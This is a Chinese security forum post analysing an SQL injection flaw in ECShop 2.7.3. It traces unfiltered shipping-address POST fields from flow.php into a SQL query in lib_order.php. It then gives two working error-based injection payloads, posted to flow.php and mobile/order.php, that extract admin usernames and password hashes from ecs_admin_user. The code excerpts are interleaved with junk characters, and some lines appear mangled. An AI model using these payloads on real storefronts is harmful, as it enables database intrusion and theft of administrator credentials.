找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2574|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。( B9 y5 D# }2 I

2 @  d4 B3 N# m, j; o    漏洞关键文件:
, }+ d$ u: \/ U9 X6 D0 O) B, D) B( t$ i4 \! }+ [
    /includes/lib_order.php
5 ~, G1 g; T. m, v! c& y: h, y2 R+ S1 I$ r7 u$ L; h  x! Y$ Z
    关键函数:
& t' J, e. A" H0 k3 R: v! n$ {* P: ]% b; W$ v/ _7 P$ b

; ]5 j7 o: i! x  @6 Y8 b
# o8 E& [5 M" Z01     function available_shipping_list($region_id_list) % j* y+ {- a" {, [- z& _

3 o2 Y8 Z; k8 v, O. V! q7 R$ z02 {
+ j" R9 _0 z/ x5 J" u0 r
# o0 E. K0 c5 y6 ?8 u5 o& U03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ; C3 m* R* i* J- z: v
% w& A' ~, M( E5 @; J5 ]# H
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( b1 h, W. I0 Z3 l" a# c" p) k; ?% e) C5 y
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
+ l; u9 ?9 m+ M" _
' a% n& X0 J. x4 |- G8 ]9 J* ~! W06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . / W( \; b) c+ u" G5 G9 o( g6 [
: l( Z& c: E/ X; _% R
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 7 M5 ~" s' x$ Y6 W8 M6 {& e! L4 w3 q" F

; a6 ^/ }' E4 U& w6 V" _  J5 x08             'WHERE r.region_id ' . db_create_in($region_id_list) .   G$ |* `& K1 J. R3 m/ k/ m% H8 H
8 b! l! M+ b$ R7 B" _4 E1 c
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 H& K) E' K5 q& v
: G% x, ^6 i. ~+ a. t; b4 x10   
9 c6 F4 t: b" B& k& W5 L5 q
/ [/ _: x, M! C  P& q11     return $GLOBALS['db']->getAll($sql); 7 w7 j' Y% D( q8 ~( b' O

& x" \3 x- p; e* g; `; z12 } : x) C: i) l* f1 u

0 c  d* q1 e. }5 o显然对传入的参数没有任何过滤就带入了查询语句。# w1 \# G7 E# U0 g% a. ]
- q7 Q0 |2 a' m* L) _
下面我们追踪这个函数在flow.php中:2 z0 T+ E' N3 i' G0 @* D) c
第531行:   / W; [  I* v" G7 f3 Z2 f' T+ L% L
/ z# }3 F) M. T/ X' V
1 $shipping_list     = available_shipping_list($region); # T$ B9 F9 X! [, G) X. J; v

* J3 b: C$ t+ B7 n) I
4 e, ?$ y3 R5 S1 p( [7 Z0 v( ]4 f( p' X; R, o

4 A2 @3 d3 A& j4 j* ?0 m0 r  W# D
! f8 B  P/ K4 }) L再对传入变量进行追踪:5 J' j( K2 H! E/ P% @! o/ n

9 B* g( ^& l( r  i1 x) l: g$ z第530行:   
  ^# o6 G: `+ f$ N: O7 M
5 T) m6 T& C: T" H& t) F1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 g# Y9 Q# x1 R. q4 V' x

$ _' q) m) o& E, o) S/ C% e6 _
3 T/ {, x, I, J9 N* [4 ~3 J( b
  v' |( |' ^4 D4 s3 h
7 c' T/ k+ l7 S% R, b' M$ U% |! t% [6 R0 |8 K9 r
第473行:        
* Y$ t$ O7 l) ]1 `/ V9 w: o: ~$ r  n
1 $consignee = get_consignee($_SESSION['user_id']); 8 u. Y1 g+ R9 g% c
7 B8 c5 y  W. W& i. b
到了一个关键函数:, n2 w: z, b$ M' @
: z7 f. R$ _) ~) i% c- _
/includes/lib_order.php
  v3 e$ R4 A# S4 J7 A# V5 n$ a9 J1 K4 P. x  c7 Z- Q8 Y# \
! D" X8 u. h. C/ b& ^% @4 ~" E% @

. j$ Z% q0 O1 J8 ^: W
5 l" u0 q9 Q' Z9 E1 _: N7 f  x8 x2 [/ L6 s) o
01 function get_consignee($user_id) ! Y% d0 }0 t- z% c. ~. l4 `
' d% H; Z" M" W4 T2 _5 O& d
02 { 2 J! y4 v& H$ ?4 {
& }; Y1 n5 w. A5 E9 J
03     if (isset($_SESSION['flow_consignee']))
6 x2 ^+ |7 B1 A& g2 j- o) S, X" e) D2 `2 h/ I. C1 l( S( Y& o
04     {
3 ^' W1 Z& p  |: o. D) R+ s! i4 z1 g
05         /* 如果存在session,则直接返回session中的收货人信息 */
- I1 v4 O/ j0 @0 o8 U, W& V2 k- S$ S) J* s. M
06   
" p3 P- I, b& n& f$ D
1 F$ y1 `0 U- o# e3 m07         return $_SESSION['flow_consignee']; ( {6 {1 z/ ?3 v; t% Z, y

7 g4 v" \4 n5 T1 t# A6 L) N; y0 s# E* |08     }
& }0 f" v/ U( ^  f; _* q) r0 r9 {) P' j0 a/ q4 t; b$ S
09     else
! ?# Q( [3 d  d, D
1 }8 E% n  X+ U" ?! [10     {
/ P; Y* q# L$ r" p
7 T7 q1 [4 B  k! ^11         /* 如果不存在,则取得用户的默认收货人信息 */ $ k+ C/ K: e, a6 n$ `: C+ l

- o4 X* R. t8 @# v12         $arr = array(); ! h4 O9 L/ q# K" X* b! p; H0 ]- H

2 F' p' H$ U7 w! z9 S" |13   
/ E# }5 S: q. k/ z$ q# ~/ n6 ?, C
, [& V0 O/ m4 }/ r14         if ($user_id > 0)
9 S$ F( o) s& V: N" N! f5 H9 d! ?/ s
15         { 4 m7 a1 L9 M4 F- K

  L% T8 ~! {: C; p16             /* 取默认地址 */
  B! g- |: E8 N) i3 o2 [
2 \* R$ _! }: D3 C" q8 Q0 B8 f17             $sql = "SELECT ua.*".
4 ~8 d& M: W4 a6 b  _% G. L! f" c" S5 Z  S* \
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ) J) R! j% o) E/ Z' U9 Y# v) ]4 N

+ m& @7 Y1 |1 Y1 w3 _$ C19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* ?) N" G7 s" C) Q# H/ r' G' G5 @  O% \8 ]' d: u3 m+ ?. Z
20   ( t% e5 J* b6 a( t4 c
4 {7 Y5 Q! A  _
21             $arr = $GLOBALS['db']->getRow($sql); 8 E7 s/ v6 B+ }) P/ \- i

1 K" Q' K- {/ C" C' W22         }
" B4 [9 v+ i" g; R8 M& O: Q! I1 U* H! K
23   
5 Z" Y9 G3 D8 _: m8 i5 a$ e2 A. J$ x
24         return $arr;
! k% ]  A, J0 I4 l, p5 U, |
& b' @+ o' X, u1 N) L25     }
: v! [/ Q/ w. {* i& j9 g$ d6 K  G: Z
26 } 5 c5 f+ q  e- @% D7 q

4 f, P. c* N0 d2 e9 {+ v显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
) W, {2 x$ p# d  O) h+ a% O3 h' E1 ?- f- K7 O! `* F' J! U$ ]
: ~- l0 o6 B& @* z2 a. e3 A

. I: _- X# J/ d关键点:
# c4 c% f3 Q) U, t& p
' M) _( R5 Q: {: a$ f( O第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: _" [$ b' u/ O( V2 G% z7 K

6 F: w" C" _  k/ h  f' m; W这里对传入参数反转义存入$_SESSION中。2 k7 w) R1 y! i+ c. _5 [8 |
  J* Z. X* R: z+ Q- Z
$ B. K) K  w; h7 @  E9 \
# m9 X: l* A2 J. i
然后看下:  W6 O( l' p: ]; W; {# B# ~7 W

) g- S. i( z8 j. z
% l' j% d8 J/ z# V5 J! ]$ F4 e+ \, {
/ }1 {4 ~9 _: e- D/ z6 _' o   
  {' Y1 C) ~4 F# L- H" g7 O( l6 z9 o; s! h% F
01 $consignee = array( # b6 [( R: U1 n0 g' f
* u7 E  x4 Z  Q9 g3 ^9 S' |7 R
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), ( s( N% Q% w# q  y$ [. h
" D) ]! Q4 O* L# i4 Z
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
- Z- |" H' u' D1 H% M& ]) B4 H
0 X: R& B" p- d7 [# o04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
4 z7 i! j% f' L! y- w( r7 Z0 l% d
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], $ @3 c0 Y$ I% N+ V: d/ {# N2 m

, o4 I& \7 h: U( i( S06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
* X4 S' c% c# u& C2 n& l
$ f3 _6 P! @$ D8 H5 V  w07         'district'      => empty($_POST['district'])   ? '' _POST['district'], . s' n( V2 [9 ], F

, V  Y- l( X8 l# k4 c9 j* W9 v; W: u08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
4 M% I3 s- x# Z. N1 M  V4 o: D& u  M3 T/ b4 U6 Q& M) c
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
! o+ m- H3 A- @* t6 a2 P- E( X4 _6 S: q. E% b9 a0 F
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
6 c9 `7 W. Y/ [7 r" Z+ G% J# @; d+ I( p$ e& j) _& l
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 5 V3 T' Z) `( [& B

" H9 f& p4 I1 P- o4 K6 P12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
% v$ \; m0 l& K4 |8 ?8 |( H. g, p  g
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 }# [8 C! ~% O" B- \1 L  }! B5 B
6 A/ e8 L! W% a- @$ ~7 f
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], & Y7 |; @  @! t' B6 ~+ B
4 R6 U4 l4 ]5 [3 @' u. x( e
15     ); ; Q; z' w/ \) Z$ y5 Y" o
* O4 y& n8 l" }  x
好了注入就这样出现了。+ I; `! w8 E$ o) E

: P2 c( `- H# c% m; |# _==================
7 x/ @9 K2 A, c; b
$ S# \' E% q- }0 z9 X% N! k注入测试:. [% J; x  ~) b5 U" j" ~
( b; m: k, m; K, P! S
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
8 e0 N% _7 {) K% M0 O' X4 S7 n& C- W1 V2 i3 c9 B! M
测试程序:ECShop_V2.7.3_UTF8_release1106
" t& K) q9 _  P4 b6 X9 o  q% |9 e" x% ~5 I7 H: @5 F) s, A6 ]/ }
% l, y6 w( ^; ^8 Z3 h2 Y8 L

1 v+ A5 ?: g$ V5 c# Y3 w+ c1.首先需要点击一个商品加入购物车: A, _# ~6 _( u
: ?8 R9 d; X( Y, ?3 k! F1 [
2.注册一个会员帐号3 y+ H2 R( J4 `1 o

7 r7 u+ p5 p* W$ _3.post提交数据
. t3 @' Z8 V8 H0 K4 t
/ o' N- s% I' F" z0 d$ w
$ A5 r9 S( f& m$ B) D7 b0 O6 s
& d2 |* O5 X7 N- _! H8 ]% n5 x7 k+ O6 q1 http://127.0.0.1/ecshop/flow.php
2 ~9 e) r4 T: S, e; R* Z& X; t( W6 [! z/ V! Y* j
2   
2 [8 A* z+ g4 L
% \; m& K* m$ [6 o3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=   U2 S6 z) _" F$ K- t/ G( t
举一反三,我们根据这个漏洞我们可以继续深入挖掘:0 X' Q: r% T; m* O' K

: m8 V6 e7 I- k  R$ S我们搜寻关键函数function available_shipping_list()
0 C' O: ^  g5 @  Z0 g+ v" v& r7 i0 ]5 U  D
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同7 `! ^& c5 s% E
) q/ q3 o) P  d# f
利用exp:2 t, C/ w. b6 i) W

! X) U. L1 g  B4 G0 ]1.点击一个商品,点击购买商标
5 m$ I, c. R, D8 n: D" k5 y$ {2 h, Y
2.登录会员帐号3 c! x. l; j' ^4 Y: I
6 P: E/ T7 f) Z) ^4 M; T) ^: ~" P/ I
3.post提交:
% I& s$ H5 u2 Q, i$ g& M' i$ }" P+ r' T" p/ e
http://127.0.0.1/ecshop/mobile/order.php+ @! L( l- D( y2 R6 N

  E, C9 \) ?+ X5 w0 ~
/ X7 c7 E- a9 U0 g9 O) W' h' R( L" C0 C- e6 R, ?8 Q
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=# ?: Y6 U4 h& ^" y% R, w$ O5 [
4 m$ _( Z: a- d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表